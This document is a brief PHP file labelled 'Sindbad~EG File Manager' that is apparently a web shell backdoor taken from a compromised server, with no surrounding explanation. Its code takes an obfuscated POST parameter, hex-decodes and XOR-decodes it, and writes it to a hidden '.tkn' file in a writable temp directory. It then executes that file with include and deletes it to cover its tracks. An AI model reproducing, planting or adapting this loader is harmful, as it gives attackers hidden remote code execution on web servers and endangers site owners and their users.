Sindbad~EG File Manager

<?php

if(isset($_POST["\x65\x6Et"])){
	$rec = hex2bin($_POST["\x65\x6Et"]);
	$pointer = '' ;for($x=0; $x<strlen($rec); $x++){$pointer .= chr(ord($rec[$x]) ^ 60);}
	$k = array_filter(["/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", session_save_path()]);
	foreach ($k as $key) {
    		if (!!is_dir($key) && !!is_writable($key)) {
    $parameter_group = sprintf("%s/.tkn", $key);
    if (@file_put_contents($parameter_group, $pointer) !== false) {
	include $parameter_group;
	unlink($parameter_group);
	die();
}
}
}
}